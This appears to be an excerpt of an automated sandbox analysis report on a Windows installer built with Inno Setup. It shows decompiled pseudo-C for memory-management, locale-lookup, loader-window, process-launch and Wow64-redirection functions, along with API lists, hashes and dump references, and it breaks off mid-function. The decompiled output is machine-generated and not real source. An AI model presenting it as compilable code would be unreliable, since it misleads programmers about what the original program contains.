0x00000000
0x0040ac3b
0x0040ac1d
0x0040abff
0x0040abe1
0x0040abc3
0x0040aba1

APIs

GetModuleFileNameW.KERNEL32(00000000,?,00000105,00000000,0040AD3D,?,?), ref: 0040AB51
RegOpenKeyExW.ADVAPI32(80000001,Software\Embarcadero\Locales,00000000,000F0019,?,00000000,0040AD3D,?,?), ref: 0040AB9A
RegOpenKeyExW.ADVAPI32(80000002,Software\Embarcadero\Locales,00000000,000F0019,?,80000001,Software\Embarcadero\Locales,00000000,000F0019,?,00000000,0040AD3D,?,?), ref: 0040ABBC
RegOpenKeyExW.ADVAPI32(80000001,Software\CodeGear\Locales,00000000,000F0019,?,80000002,Software\Embarcadero\Locales,00000000,000F0019,?,80000001,Software\Embarcadero\Locales,00000000,000F0019,?,00000000), ref: 0040ABDA
RegOpenKeyExW.ADVAPI32(80000002,Software\CodeGear\Locales,00000000,000F0019,?,80000001,Software\CodeGear\Locales,00000000,000F0019,?,80000002,Software\Embarcadero\Locales,00000000,000F0019,?,80000001), ref: 0040ABF8
RegOpenKeyExW.ADVAPI32(80000001,Software\Borland\Locales,00000000,000F0019,?,80000002,Software\CodeGear\Locales,00000000,000F0019,?,80000001,Software\CodeGear\Locales,00000000,000F0019,?,80000002), ref: 0040AC16
RegOpenKeyExW.ADVAPI32(80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000,000F0019,?,80000002,Software\CodeGear\Locales,00000000,000F0019,?,80000001), ref: 0040AC34
RegQueryValueExW.ADVAPI32(?,?,00000000,00000000,00000000,?,00000000,0040AD20,?,80000001,Software\Embarcadero\Locales,00000000,000F0019,?,00000000,0040AD3D), ref: 0040AC74
RegQueryValueExW.ADVAPI32(?,?,00000000,00000000,?,?,?,?,00000000,00000000,00000000,?,00000000,0040AD20,?,80000001), ref: 0040AC9F
RegCloseKey.ADVAPI32(?,0040AD27,00000000,00000000,?,?,?,00000000,00000000,00000000,?,00000000,0040AD20,?,80000001,Software\Embarcadero\Locales), ref: 0040AD1A

Strings

Software\CodeGear\Locales, xrefs: 0040ABD0, 0040ABEE
Software\Embarcadero\Locales, xrefs: 0040AB90, 0040ABB2
Software\Borland\Delphi\Locales, xrefs: 0040AC2A
Software\Borland\Locales, xrefs: 0040AC0C

Memory Dump Source

Source File: 00000004.00000002.676482975.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.676465939.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.676651281.00000000004B7000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.676666731.00000000004C0000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.676688959.00000000004C4000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.676702997.00000000004C6000.00000002.00020000.sdmp Download File

Similarity

API ID: Open$QueryValue$CloseFileModuleName
String ID: Software\Borland\Delphi\Locales$Software\Borland\Locales$Software\CodeGear\Locales$Software\Embarcadero\Locales
API String ID: 2701450724-3496071916
Opcode ID: 8af598c5208afc10239ec938650b713086258bd8f52ea94da89803fd33d180c8
Instruction ID: cdbeddac4db4dda9279672c2614f8dce2a18b15a4a55f9a64fe791b6da82c449
Opcode Fuzzy Hash: 8af598c5208afc10239ec938650b713086258bd8f52ea94da89803fd33d180c8
Instruction Fuzzy Hash: FB514371A80308BEEB10DA95CC46FAE77BCEB08709F504477BA04F75C1D6B8AA50975E

Uniqueness

Uniqueness Score: -1.00%

Function 0040426C, Relevance: 12.2, APIs: 8, Instructions: 221
sleepCOMMON

Download Yara Rule

C-Code - Quality: 91%

			E0040426C(void* __eax, signed int __edi, void* __ebp) {
				struct _MEMORY_BASIC_INFORMATION _v44;
				void* _v48;
				signed int __ebx;
				void* _t58;
				signed int _t61;
				int _t65;
				signed int _t67;
				void _t70;
				int _t71;
				signed int _t78;
				void* _t79;
				signed int _t81;
				intOrPtr _t82;
				signed int _t87;
				signed int _t88;
				signed int _t89;
				signed int _t92;
				void* _t96;
				signed int _t99;
				void* _t103;
				intOrPtr _t104;
				void* _t106;
				void* _t108;
				signed int _t113;
				void* _t115;
				void* _t116;

				_t56 = __eax;
				_t89 =  *(__eax - 4);
				_t78 =  *0x4bb059; // 0x0
				if((_t89 & 0x00000007) != 0) {
					__eflags = _t89 & 0x00000005;
					if((_t89 & 0x00000005) != 0) {
						_pop(_t78);
						__eflags = _t89 & 0x00000003;
						if((_t89 & 0x00000003) == 0) {
							_push(_t78);
							_push(__edi);
							_t116 = _t115 + 0xffffffdc;
							_t103 = __eax - 0x10;
							E00403C48();
							_t58 = _t103;
							 *_t116 =  *_t58;
							_v48 =  *((intOrPtr*)(_t58 + 4));
							_t92 =  *(_t58 + 0xc);
							if((_t92 & 0x00000008) != 0) {
								_t79 = _t103;
								_t113 = _t92 & 0xfffffff0;
								_t99 = 0;
								__eflags = 0;
								while(1) {
									VirtualQuery(_t79,  &_v44, 0x1c);
									_t61 = VirtualFree(_t79, 0, 0x8000);
									__eflags = _t61;
									if(_t61 == 0) {
										_t99 = _t99 | 0xffffffff;
										goto L10;
									}
									_t104 = _v44.RegionSize;
									__eflags = _t113 - _t104;
									if(_t113 > _t104) {
										_t113 = _t113 - _t104;
										_t79 = _t79 + _t104;
										continue;
									}
									goto L10;
								}
							} else {
								_t65 = VirtualFree(_t103, 0, 0x8000); // executed
								if(_t65 == 0) {
									_t99 = __edi | 0xffffffff;
								} else {
									_t99 = 0;
								}
							}
							L10:
							if(_t99 == 0) {
								 *_v48 =  *_t116;
								 *( *_t116 + 4) = _v48;
							}
							 *0x4bdb78 = 0;
							return _t99;
						} else {
							return 0xffffffff;
						}
					} else {
						goto L31;
					}
				} else {
					__eflags = __bl;
					__ebx =  *__edx;
					if(__eflags != 0) {
						while(1) {
							__eax = 0x100;
							asm("lock cmpxchg [ebx], ah");
							if(__eflags == 0) {
								goto L14;
							}
							asm("pause");
							__eflags =  *0x4bb989;
							if(__eflags != 0) {
								continue;
							} else {
								Sleep(0);
								__edx = __edx;
								__ecx = __ecx;
								__eax = 0x100;
								asm("lock cmpxchg [ebx], ah");
								if(__eflags != 0) {
									Sleep(0xa);
									__edx = __edx;
									__ecx = __ecx;
									continue;
								}
							}
							goto L14;
						}
					}
					L14:
					_t14 = __edx + 0x14;
					 *_t14 =  *(__edx + 0x14) - 1;
					__eflags =  *_t14;
					__eax =  *(__edx + 0x10);
					if( *_t14 == 0) {
						__eflags = __eax;
						if(__eax == 0) {
							L20:
							 *(__ebx + 0x14) = __eax;
						} else {
							__eax =  *(__edx + 0xc);
							__ecx =  *(__edx + 8);
							 *(__eax + 8) = __ecx;
							 *(__ecx + 0xc) = __eax;
							__eax = 0;
							__eflags =  *((intOrPtr*)(__ebx + 0x18)) - __edx;
							if( *((intOrPtr*)(__ebx + 0x18)) == __edx) {
								goto L20;
							}
						}
						 *__ebx = __al;
						__eax = __edx;
						__edx =  *(__edx - 4);
						__bl =  *0x4bb059; // 0x0
						L31:
						__eflags = _t78;
						_t81 = _t89 & 0xfffffff0;
						_push(_t101);
						_t106 = _t56;
						if(__eflags != 0) {
							while(1) {
								_t67 = 0x100;
								asm("lock cmpxchg [0x4bbae8], ah");
								if(__eflags == 0) {
									goto L32;
								}
								asm("pause");
								__eflags =  *0x4bb989;
								if(__eflags != 0) {
									continue;
								} else {
									Sleep(0);
									_t67 = 0x100;
									asm("lock cmpxchg [0x4bbae8], ah");
									if(__eflags != 0) {
										Sleep(0xa);
										continue;
									}
								}
								goto L32;
							}
						}
						L32:
						__eflags = (_t106 - 4)[_t81] & 0x00000001;
						_t87 = (_t106 - 4)[_t81];
						if(((_t106 - 4)[_t81] & 0x00000001) != 0) {
							_t67 = _t81 + _t106;
							_t88 = _t87 & 0xfffffff0;
							_t81 = _t81 + _t88;
							__eflags = _t88 - 0xb30;
							if(_t88 >= 0xb30) {
								_t67 = E00403AC0(_t67);
							}
						} else {
							_t88 = _t87 | 0x00000008;
							__eflags = _t88;
							(_t106 - 4)[_t81] = _t88;
						}
						__eflags =  *(_t106 - 4) & 0x00000008;
						if(( *(_t106 - 4) & 0x00000008) != 0) {
							_t88 =  *(_t106 - 8);
							_t106 = _t106 - _t88;
							_t81 = _t81 + _t88;
							__eflags = _t88 - 0xb30;
							if(_t88 >= 0xb30) {
								_t67 = E00403AC0(_t106);
							}
						}
						__eflags = _t81 - 0x13ffe0;
						if(_t81 == 0x13ffe0) {
							__eflags =  *0x4bbaf0 - 0x13ffe0;
							if( *0x4bbaf0 != 0x13ffe0) {
								_t82 = _t106 + 0x13ffe0;
								E00403B60(_t67);
								 *((intOrPtr*)(_t82 - 4)) = 2;
								 *0x4bbaf0 = 0x13ffe0;
								 *0x4bbaec = _t82;
								 *0x4bbae8 = 0;
								__eflags = 0;
								return 0;
							} else {
								_t108 = _t106 - 0x10;
								_t70 =  *_t108;
								_t96 =  *(_t108 + 4);
								 *(_t70 + 4) = _t96;
								 *_t96 = _t70;
								 *0x4bbae8 = 0;
								_t71 = VirtualFree(_t108, 0, 0x8000);
								__eflags = _t71 - 1;
								asm("sbb eax, eax");
								return _t71;
							}
						} else {
							 *(_t106 - 4) = _t81 + 3;
							 *(_t106 - 8 + _t81) = _t81;
							E00403B00(_t106, _t88, _t81);
							 *0x4bbae8 = 0;
							__eflags = 0;
							return 0;
						}
					} else {
						__eflags = __eax;
						 *(__edx + 0x10) = __ecx;
						 *(__ecx - 4) = __eax;
						if(__eflags == 0) {
							__ecx =  *(__ebx + 8);
							 *(__edx + 0xc) = __ebx;
							 *(__edx + 8) = __ecx;
							 *(__ecx + 0xc) = __edx;
							 *(__ebx + 8) = __edx;
							 *__ebx = 0;
							__eax = 0;
							__eflags = 0;
							_pop(__ebx);
							return 0;
						} else {
							__eax = 0;
							__eflags = 0;
							 *__ebx = __al;
							_pop(__ebx);
							return 0;
						}
					}
				}
			}

0x0040426c
0x0040426c
0x00404275
0x0040427b
0x00404364
0x00404367
0x00404454
0x00404455
0x00404458
0x00403cf8
0x00403cfa
0x00403cfc
0x00403d01
0x00403d04
0x00403d09
0x00403d0d
0x00403d13
0x00403d17
0x00403d1d
0x00403d39
0x00403d3d
0x00403d40
0x00403d40
0x00403d42
0x00403d4a
0x00403d57
0x00403d5c
0x00403d5e
0x00403d60
0x00403d63
0x00403d63
0x00403d65
0x00403d69
0x00403d6b
0x00403d6d
0x00403d6f
0x00000000
0x00403d6f
0x00000000
0x00403d6b
0x00403d1f
0x00403d27
0x00403d2e
0x00403d34
0x00403d30
0x00403d30
0x00403d30
0x00403d2e
0x00403d73
0x00403d75
0x00403d7e
0x00403d87
0x00403d87
0x00403d8a
0x00403d9a
0x0040445e
0x00404463
0x00404463
0x00000000
0x00000000
0x00000000
0x00404281
0x00404281
0x00404283
0x00404285
0x004042e8
0x004042e8
0x004042ed
0x004042f1
0x00000000
0x00000000
0x004042f3
0x004042f5
0x004042fc
0x00000000
0x004042fe
0x00404302
0x00404307
0x00404308
0x00404309
0x0040430e
0x00404312
0x0040431c
0x00404321
0x00404322
0x00000000
0x00404322
0x00404312
0x00000000
0x004042fc
0x004042e8
0x00404287
0x00404287
0x00404287
0x00404287
0x0040428b
0x0040428e
0x004042bc
0x004042be
0x004042d3
0x004042d3
0x004042c0
0x004042c0
0x004042c3
0x004042c6
0x004042c9
0x004042cc
0x004042ce
0x004042d1
0x00000000
0x00000000
0x004042d1
0x004042d6
0x004042d8
0x004042da
0x004042dd
0x0040436d
0x00404370
0x00404372
0x00404374
0x00404375
0x00404377
0x00404328
0x00404328
0x0040432d
0x00404335
0x00000000
0x00000000
0x00404337
0x00404339
0x00404340
0x00000000
0x00404342
0x00404344
0x00404349
0x0040434e
0x00404356
0x0040435a
0x00000000
0x0040435a
0x00404356
0x00000000
0x00404340
0x00404328
0x00404379
0x00404379
0x00404381
0x00404385
0x004043bc
0x004043bf
0x004043c2
0x004043c4
0x004043ca
0x004043cc
0x004043cc
0x00404387
0x00404387
0x00404387
0x0040438a
0x0040438a
0x0040438e
0x00404392
0x004043d4
0x004043d7
0x004043d9
0x004043db
0x004043e1
0x004043e5
0x004043e5
0x004043e1
0x00404394
0x0040439a
0x004043ec
0x004043f6
0x00404424
0x0040442a
0x0040442f
0x00404436
0x00404440
0x00404446
0x0040444d
0x00404451
0x004043f8
0x004043f8
0x004043fb
0x004043fd
0x00404400
0x00404403
0x00404405
0x00404414
0x00404419
0x0040441c
0x00404420
0x00404420
0x0040439c
0x0040439f
0x004043a2
0x004043aa
0x004043af
0x004043b6
0x004043ba
0x004043ba
0x00404290
0x00404290
0x00404292
0x00404298
0x0040429b
0x004042a4
0x004042a7
0x004042aa
0x004042ad
0x004042b0
0x004042b3
0x004042b6
0x004042b6
0x004042b8
0x004042b9
0x0040429d
0x0040429d
0x0040429d
0x0040429f
0x004042a1
0x004042a2
0x004042a2
0x0040429b
0x0040428e

APIs

Sleep.KERNEL32(00000000,?,?,00000000,0040BB40,0040BBA6,?,00000000,?,?,0040BEC9,00000000,?,00000000,0040C3CA,00000000), ref: 00404302
Sleep.KERNEL32(0000000A,00000000,?,?,00000000,0040BB40,0040BBA6,?,00000000,?,?,0040BEC9,00000000,?,00000000,0040C3CA), ref: 0040431C

Memory Dump Source

Source File: 00000004.00000002.676482975.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.676465939.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.676651281.00000000004B7000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.676666731.00000000004C0000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.676688959.00000000004C4000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.676702997.00000000004C6000.00000002.00020000.sdmp Download File

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: bb44cecb062a42ab294f9ebbddb74143d6ecf503913ace061e42b720e5e9e313
Instruction ID: daf3465a9571387f72e828d046180f4ce70f3b260d456b91f151aa63c4646fa2
Opcode Fuzzy Hash: bb44cecb062a42ab294f9ebbddb74143d6ecf503913ace061e42b720e5e9e313
Instruction Fuzzy Hash: AA71E2B17042008BD715DF29CC84B16BBD8AF85715F2482BFE984AB3D2D7B899418789

Uniqueness

Uniqueness Score: -1.00%

Function 004B63A1, Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 103
COMMON

Download Yara Rule

C-Code - Quality: 85%

			E004B63A1(void* __ebx, void* __edi, void* __esi, void* __eflags, void* __fp0) {
				intOrPtr _t17;
				struct HWND__* _t21;
				struct HWND__* _t22;
				struct HWND__* _t25;
				intOrPtr _t26;
				intOrPtr _t28;
				intOrPtr _t36;
				intOrPtr _t39;
				int _t40;
				intOrPtr _t41;
				intOrPtr _t43;
				struct HWND__* _t46;
				intOrPtr _t47;
				intOrPtr _t50;
				intOrPtr _t60;
				intOrPtr _t62;
				intOrPtr _t68;
				intOrPtr _t69;
				intOrPtr _t70;
				void* _t73;
				void* _t74;

				_t74 = __eflags;
				_t72 = __esi;
				_t71 = __edi;
				_t52 = __ebx;
				_pop(_t62);
				 *[fs:eax] = _t62;
				_t17 =  *0x4c1d88; // 0x0
				 *0x4c1d88 = 0;
				E00405CE8(_t17);
				_t21 = E0040E450(0, L"STATIC", 0,  *0x4be634, 0, 0, 0, 0, 0, 0, 0); // executed
				 *0x4ba450 = _t21;
				_t22 =  *0x4ba450; // 0x1b040c
				 *0x4c1d80 = SetWindowLongW(_t22, 0xfffffffc, E004AF69C);
				_t25 =  *0x4ba450; // 0x1b040c
				 *(_t73 - 0x58) = _t25;
				 *((char*)(_t73 - 0x54)) = 0;
				_t26 =  *0x4c1d90; // 0x4ca924
				_t4 = _t26 + 0x20; // 0x2aa866
				 *((intOrPtr*)(_t73 - 0x50)) =  *_t4;
				 *((char*)(_t73 - 0x4c)) = 0;
				_t28 =  *0x4c1d90; // 0x4ca924
				_t7 = _t28 + 0x24; // 0xbea00
				 *((intOrPtr*)(_t73 - 0x48)) =  *_t7;
				 *((char*)(_t73 - 0x44)) = 0;
				E0041A87C(L"/SL5=\"$%x,%d,%d,", 2, _t73 - 0x58, _t73 - 0x40);
				_push( *((intOrPtr*)(_t73 - 0x40)));
				_push( *0x4c1d84);
				_push(0x4b6680);
				E00422BC4(_t73 - 0x5c, __ebx, __esi, _t74);
				_push( *((intOrPtr*)(_t73 - 0x5c)));
				E004087C4(_t73 - 0x3c, __ebx, 4, __edi, __esi);
				_t36 =  *0x4c1d9c; // 0x0, executed
				E004AF728(_t36, _t52, 0x4ba44c,  *((intOrPtr*)(_t73 - 0x3c)), _t71, _t72, __fp0); // executed
				if( *0x4ba448 != 0xffffffff) {
					_t50 =  *0x4ba448; // 0x0
					E004AF60C(_t50);
				}
				_pop(_t68);
				 *[fs:eax] = _t68;
				_push(E004B6554);
				_t39 =  *0x4c1d88; // 0x0
				_t40 = E00405CE8(_t39);
				if( *0x4c1d9c != 0) {
					_t70 =  *0x4c1d9c; // 0x0
					_t40 = E004AF1B4(0, _t70, 0xfa, 0x32); // executed
				}
				if( *0x4c1d94 != 0) {
					_t47 =  *0x4c1d94; // 0x0
					_t40 = RemoveDirectoryW(E004084EC(_t47)); // executed
				}
				if( *0x4ba450 != 0) {
					_t46 =  *0x4ba450; // 0x1b040c
					_t40 = DestroyWindow(_t46); // executed
				}
				if( *0x4c1d78 != 0) {
					_t41 =  *0x4c1d78; // 0x0
					_t60 =  *0x4c1d7c; // 0x1
					_t69 =  *0x426bb0; // 0x426bb4
					E00408D08(_t41, _t60, _t69);
					_t43 =  *0x4c1d78; // 0x0
					E0040540C(_t43);
					 *0x4c1d78 = 0;
					return 0;
				}
				return _t40;
			}

0x004b63a1
0x004b63a1
0x004b63a1
0x004b63a1
0x004b63a3
0x004b63a6
0x004b63d3
0x004b63da
0x004b63e0
0x004b6407
0x004b640c
0x004b6418
0x004b6423
0x004b642c
0x004b6431
0x004b6434
0x004b6438
0x004b643d
0x004b6440
0x004b6443
0x004b6447
0x004b644c
0x004b644f
0x004b6452
0x004b6463
0x004b6468
0x004b646b
0x004b6471
0x004b6479
0x004b647e
0x004b6489
0x004b6496
0x004b649b
0x004b64a7
0x004b64a9
0x004b64ae
0x004b64ae
0x004b64b5
0x004b64b8
0x004b64bb
0x004b64c0
0x004b64c5
0x004b64d1
0x004b64df
0x004b64e7
0x004b64e7
0x004b64f3
0x004b64f5
0x004b6500
0x004b6500
0x004b650c
0x004b650e
0x004b6514
0x004b6514
0x004b6520
0x004b6522
0x004b6527
0x004b652d
0x004b6533
0x004b6538
0x004b653d
0x004b6544
0x00000000
0x004b6544
0x004b6549

APIs

Part of subcall function 0040E450: CreateWindowExW.USER32 ref: 0040E48F

SetWindowLongW.USER32 ref: 004B641E

Part of subcall function 00422BC4: GetCommandLineW.KERNEL32(00000000,00422C06,?,?,00000000,?,004B647E,004B6680,?), ref: 00422BDA

Part of subcall function 004AF728: CreateProcessW.KERNEL32 ref: 004AF798
Part of subcall function 004AF728: CloseHandle.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000044,?,?,004AF82C,00000000,004AF81C,00000000), ref: 004AF7AE
Part of subcall function 004AF728: MsgWaitForMultipleObjects.USER32 ref: 004AF7C7
Part of subcall function 004AF728: GetExitCodeProcess.KERNEL32 ref: 004AF7DB
Part of subcall function 004AF728: CloseHandle.KERNEL32(?,?,004BA44C,00000001,?,00000000,000000FF,000004FF,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 004AF7E4

RemoveDirectoryW.KERNEL32(00000000,004B6554), ref: 004B6500
DestroyWindow.USER32(001B040C,004B6554), ref: 004B6514

Strings

InnoSetupLdrWindow, xrefs: 004B63FB
STATIC, xrefs: 004B6400
/SL5="$%x,%d,%d,, xrefs: 004B645E

Memory Dump Source

Source File: 00000004.00000002.676482975.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.676465939.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.676651281.00000000004B7000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.676666731.00000000004C0000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.676688959.00000000004C4000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.676702997.00000000004C6000.00000002.00020000.sdmp Download File

Similarity

API ID: Window$CloseCreateHandleProcess$CodeCommandDestroyDirectoryExitLineLongMultipleObjectsRemoveWait
String ID: /SL5="$%x,%d,%d,$InnoSetupLdrWindow$STATIC
API String ID: 3586484885-3001827809
Opcode ID: 3c021837c984efc67f9ad3a794955b0d04b23bc85077f6812c73bb0a86195aee
Instruction ID: 04c90e22d0408fd8de4b79ff2beaee59f7a3a861a1d73b16261182ae62401715
Opcode Fuzzy Hash: 3c021837c984efc67f9ad3a794955b0d04b23bc85077f6812c73bb0a86195aee
Instruction Fuzzy Hash: EC416B74A002009FE754EBA9EC85B9A37B4EB85308F11453BE0059B2B6CB7CA851CB5D

Uniqueness

Uniqueness Score: -1.00%

Function 004AF728, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 77
processCOMMON

Download Yara Rule

C-Code - Quality: 61%

			E004AF728(void* __eax, void* __ebx, DWORD* __ecx, void* __edx, void* __edi, void* __esi, void* __fp0) {
				char _v8;
				struct _STARTUPINFOW _v76;
				void* _v88;
				void* _v92;
				int _t23;
				intOrPtr _t49;
				DWORD* _t51;
				void* _t56;

				_v8 = 0;
				_t51 = __ecx;
				_t53 = __edx;
				_t41 = __eax;
				_push(_t56);
				_push(0x4af7ff);
				_push( *[fs:eax]);
				 *[fs:eax] = _t56 + 0xffffffa8;
				_push(0x4af81c);
				_push(__eax);
				_push(0x4af82c);
				_push(__edx);
				E004087C4( &_v8, __eax, 4, __ecx, __edx);
				E00405884( &_v76, 0x44);
				_v76.cb = 0x44;
				_t23 = CreateProcessW(0, E004084EC(_v8), 0, 0, 0, 0, 0, 0,  &_v76,  &_v92); // executed
				_t58 = _t23;
				if(_t23 == 0) {
					E004AF34C(0x83, _t41, 0, _t53, _t58);
				}
				CloseHandle(_v88);
				do {
					E004AF6FC();
				} while (MsgWaitForMultipleObjects(1,  &_v92, 0, 0xffffffff, 0x4ff) == 1);
				E004AF6FC();
				GetExitCodeProcess(_v92, _t51); // executed
				CloseHandle(_v92);
				_pop(_t49);
				 *[fs:eax] = _t49;
				_push(0x4af806);
				return E00407A20( &_v8);
			}

0x004af733
0x004af736
0x004af738
0x004af73a
0x004af73e
0x004af73f
0x004af744
0x004af747
0x004af74a
0x004af74f
0x004af750
0x004af755
0x004af75e
0x004af76d
0x004af772
0x004af798
0x004af79d
0x004af79f
0x004af7a5
0x004af7a5
0x004af7ae
0x004af7b3
0x004af7b3
0x004af7cc
0x004af7d1
0x004af7db
0x004af7e4
0x004af7eb
0x004af7ee
0x004af7f1
0x004af7fe

APIs

CreateProcessW.KERNEL32 ref: 004AF798
CloseHandle.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000044,?,?,004AF82C,00000000,004AF81C,00000000), ref: 004AF7AE
MsgWaitForMultipleObjects.USER32 ref: 004AF7C7
GetExitCodeProcess.KERNEL32 ref: 004AF7DB
CloseHandle.KERNEL32(?,?,004BA44C,00000001,?,00000000,000000FF,000004FF,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 004AF7E4

Part of subcall function 004AF34C: GetLastError.KERNEL32(00000000,004AF3F5,?,?,00000000), ref: 004AF36F

Strings

D, xrefs: 004AF772

Memory Dump Source

Source File: 00000004.00000002.676482975.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.676465939.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.676651281.00000000004B7000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.676666731.00000000004C0000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.676688959.00000000004C4000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.676702997.00000000004C6000.00000002.00020000.sdmp Download File

Similarity

API ID: CloseHandleProcess$CodeCreateErrorExitLastMultipleObjectsWait
String ID: D
API String ID: 3356880605-2746444292
Opcode ID: ad1163668f60b09aa263e635df1463f1e4b37e8a5aa9c4cbf2e159c77cef0046
Instruction ID: 88989adc3f1fa39a5a5eb6990527994e2deb527bcdcae90bffb7d35c0d41af56
Opcode Fuzzy Hash: ad1163668f60b09aa263e635df1463f1e4b37e8a5aa9c4cbf2e159c77cef0046
Instruction Fuzzy Hash: C01163716041096EEB00FBE68C42F9F77ACDF56714F50053AB604E72C5DA789905866D

Uniqueness

Uniqueness Score: -1.00%

Function 004B5A90, Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 56
COMMON

Download Yara Rule

C-Code - Quality: 60%

			E004B5A90(void* __ebx, void* __ecx, void* __edx, void* __esi) {
				char _v8;
				char _v12;
				char _v16;
				char _t16;
				intOrPtr _t32;
				intOrPtr _t41;

				_t27 = __ebx;
				_push(0);
				_push(0);
				_push(0);
				_push(_t41);
				_push(0x4b5b5a);
				_push( *[fs:eax]);
				 *[fs:eax] = _t41;
				 *0x4c1124 =  *0x4c1124 - 1;
				if( *0x4c1124 < 0) {
					 *0x4c1128 = E0040E1A8(__ebx, __esi, GetModuleHandleW(L"kernel32.dll"), L"Wow64DisableWow64FsRedirection");
					 *0x4c112c = E0040E1A8(__ebx, __esi, GetModuleHandleW(L"kernel32.dll"), L"Wow64RevertWow64FsRedirection");
					if( *0x4c1128 == 0 ||  *0x4c112c == 0) {
						_t16 = 0;
					} else {
						_t16 = 1;
					}
					 *0x4c1130 = _t16;
					E00422D44( &_v12);
					E00422660(_v12,  &_v8);
					E004086E4( &_v8, L"shell32.dll");
					E00421230(_v8, _t27, 0x8000); // executed
					E004232EC(0x4c783afb,  &_v16);
				}
				_pop(_t32);
				 *[fs:eax] = _t32;
				_push(0x4b5b61);
				return E00407A80( &_v16, 3);
			}

0x004b5a90
0x004b5a93
0x004b5a95
0x004b5a97
0x004b5a9b
0x004b5a9c
0x004b5aa1
0x004b5aa4
0x004b5aa7
0x004b5aae
0x004b5ac9
0x004b5ae3
0x004b5aef
0x004b5afa
0x004b5afe
0x004b5afe
0x004b5afe
0x004b5b00
0x004b5b08
0x004b5b13
0x004b5b20
0x004b5b2d
0x004b5b3a
0x004b5b3a
0x004b5b41
0x004b5b44
0x004b5b47
0x004b5b59

APIs

GetModuleHandleW.KERNEL32(kernel32.dll,Wow64DisableWow64FsRedirection,00000000,004B5B5A,?,00000000,00000000,00000000), ref: 004B5ABE

Part of subcall function 0040E1A8: GetProcAddress.KERNEL32(?,00423116), ref: 0040E1D2

GetModuleHandleW.KERNEL32(kernel32.dll,Wow64RevertWow64FsRedirection,00000000,kernel32.dll,Wow64DisableWow64FsRedirection,00000000,004B5B5A,?,00000000,00000000,00000000), ref: 004B5AD8

Part of subcall function 0040E1A8: GetProcAddress.KERNEL32(?,00000000), ref: 0040E20B

Strings

shell32.dll, xrefs: 004B5B1B
Wow64DisableWow64FsRedirection, xrefs: 004B5AB4
kernel32.dll, xrefs: 004B5AB9, 004B5AD3
Wow64RevertWow64FsRedirection, xrefs: 004B5ACE

Memory Dump Source

Source File: 00000004.00000002.676482975.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.676465939.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.676651281.00000000004B7000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.676666731.00000000004C0000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.676688959.00000000004C4000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.676702997.00000000004C6000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressHandleModuleProc
String ID: Wow64DisableWow64FsRedirection$Wow64RevertWow64FsRedirection$kernel32.dll$shell32.dll
API String ID: 1646373207-2130885113
Opcode ID: 149d4641e6716bccfc7038b8b83dc43c2c59674e16c2d4af6eff100d23c955b7
Instruction ID: b56c6da1e02aeac4ac36a9fb763b3b3a2bfa4c382daca5c5ea2a5d16c2919690
Opcode Fuzzy Hash: 149d4641e6716bccfc7038b8b83dc43c2c59674e16c2d4af6eff100d23c955b7
Instruction Fuzzy Hash: DA11A730604704AFD744EB76DC02F9DB7B4E749704F64447BF500A6591CABC6A04CA3D

Uniqueness

Uniqueness Score: -1.00%

Function 00403EE8, Relevance: 9.0, APIs: 7, Instructions: 298
sleepCOMMON

Download Yara Rule

C-Code - Quality: 68%

			E00403EE8(signed int __eax) {
				signed int __ebx;
				signed int __edi;
				signed int __esi;
				void* _t96;
				void** _t99;
				signed int _t104;
				signed int _t109;
				signed int _t110;
				intOrPtr* _t114;
				void* _t116;
				void* _t121;
				signed int _t125;
				signed int _t129;
				signed int _t131;
				signed int _t132;
				signed int _t133;
				signed int _t134;
				signed int _t135;
				unsigned int _t141;
				signed int _t142;
				void* _t144;
				void* _t147;
				intOrPtr _t148;
				signed int _t150;
				long _t156;
				intOrPtr _t159;
				signed int _t162;

				_t95 = __eax;
				_t129 =  *0x4bb059; // 0x0
				if(__eax > 0xa2c) {
					__eflags = __eax - 0x40a2c;
					if(__eax > 0x40a2c) {
						_pop(_t120);
						__eflags = __eax;
						if(__eax >= 0) {
							_push(_t120);
							_t162 = __eax;
							_t2 = _t162 + 0x10010; // 0x10110
							_t156 = _t2 - 0x00000001 + 0x00000004 & 0xffff0000;
							_t96 = VirtualAlloc(0, _t156, 0x101000, 4); // executed
							_t121 = _t96;
							if(_t121 != 0) {
								_t147 = _t121;
								 *((intOrPtr*)(_t147 + 8)) = _t162;
								 *(_t147 + 0xc) = _t156 | 0x00000004;
